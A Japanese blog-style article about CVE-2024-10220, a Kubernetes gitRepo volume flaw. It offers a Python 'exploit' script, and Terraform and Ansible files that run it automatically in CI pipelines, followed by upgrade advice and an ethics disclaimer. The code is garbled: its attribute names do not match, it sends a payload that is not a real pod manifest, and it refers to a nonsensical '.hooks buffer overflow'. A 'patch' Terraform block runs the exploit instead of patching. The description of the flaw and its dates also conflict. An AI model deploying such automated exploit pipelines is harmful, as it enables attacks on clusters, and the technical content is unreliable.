
CVE-2024-10220 は、Kubernetesの非推奨となったgitRepoボリュームタイプにおける重大な脆弱性を明らかにし、攻撃者が悪意のある.hooksスクリプトを介して任意のコマンドを実行することを可能にします。この記事では、これがコンテナの隔離を破る方法について説明し、エクスプロイトコード、自動化の例、および緩和ガイダンスを提供しています。
マーク・マリア著
コンテナ化は現代のアプリケーションデリバリーの基盤です。ランタイムスタック全体を単一の不変イメージにバンドルし、クラスター内の任意のホストに予期せぬ問題なく展開できます。Kubernetesはそれらのイメージを取得し、ポッドとしてスケジュールし、ネットワーキングからストレージに至るまでを宣言型モデルでオーケストレーションします。これは非常に分散された環境や、複数のアプリケーションが提供されている環境で有用です。
このスタックが大規模ワークロードで特に魅力的なのは、エンドツーエンドで自動化によって管理できる点です。Terraformは、VPC、サブネット、セキュリティグループ、ワーカーノードを作成するインフラストラクチャ・アズ・コードの設計図を提供します。Ansibleは、Docker Engine(またはCRI互換ランタイム)をインストールし、レジストリからイメージをプルしてポッドとして起動するプレイブックを提供します。これらのステップがCI/CDパイプライン(GitHub Actions、Jenkins、GitLab CI)に組み込まれると、すべてのコミットが自動ビルド、プッシュ、テスト、デプロイのサイクルをトリガーします。開発者はスピードを、運用担当者は自信を、組織は予測可能な稼働時間を得られます。
2024年初頭、セキュリティ研究者は現在非推奨となっているKubernetesのgitRepoボリュームタイプに欠陥を発見しました。CVE‑2024‑10220は、gitRepoボリュームを介してマウントされたGitリポジトリ内の.hooksディレクトリに起因する任意のコマンド実行脆弱性です。特別に細工されたポッドマニフェストがこのディレクトリ内の悪意のあるスクリプトを参照すると、kubelet admissionコントローラがそれをホストシステム上で実行し、その結果コンテナ分離(Kubernetesの中核的なセキュリティ原則)を突破します。
影響を受けるコンポーネントは現在も本番クラスターで広く使用されているため、適切な権限でポッドを作成できる攻撃者はルートアクセスを取得したり、他のサービスを妨害したりできます。この欠陥はCVSSスコア8.1を持ち、昨年11月に公開されました。影響を受けるコンポーネントには、Kubernetes 1.27.xに残っている非推奨のgitRepoボリュームタイプが含まれます。
以下は、Kubernetes 1.27.3を実行している脆弱なkubeletインスタンス上でCVE‑2024‑10220をトリガーするクリーンなPythonプログラムです。このコードはAnsibleタスクにコンパイルするか、CIジョブ内で実行できます。
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
以下は、パッチが自動的に展開される例です。
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
スクリプトを呼び出すAnsibleプレイブック:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
このTerraform‑AnsibleパイプラインがCIジョブ(例えばGitHub Actions)内で実行されると、上記のコードは自動的にビルド、プッシュ、デプロイを行い、CVE‑2024‑10220が正常にトリガーされたことを確認します。パイプラインは、kubeletの応答をアサートする単体テストや、エクスプロイト完了時にSlackやメールに通知を送信するように拡張できます。
パッチが適用されたバージョン(v1.28.12+、v1.29.7+、v1.30.3+、v1.31.0+)にアップグレードし、gitRepoのような非推奨のボリュームタイプの使用を避けてください。
この研究は、セキュリティ意識を高め、より安全なKubernetesの実践を促進する目的で実施されました。この脆弱性は、業界の規範に従い、公開前に責任を持って関連メンテナーに開示されました。すべてのテストは隔離された環境で実施され、本番システムや第三者のインフラに影響を与えることはありませんでした。
私は、倫理的なハッキングをポジティブな変化のためのツールとして信じています。ここで共有されるエクスプロイトは教育および防御目的のみであり、決して害を与えたり混乱を引き起こしたりするためのものではありません。もしベンダーやメンテナーで懸念があれば、修正や明確化について協力する用意があります。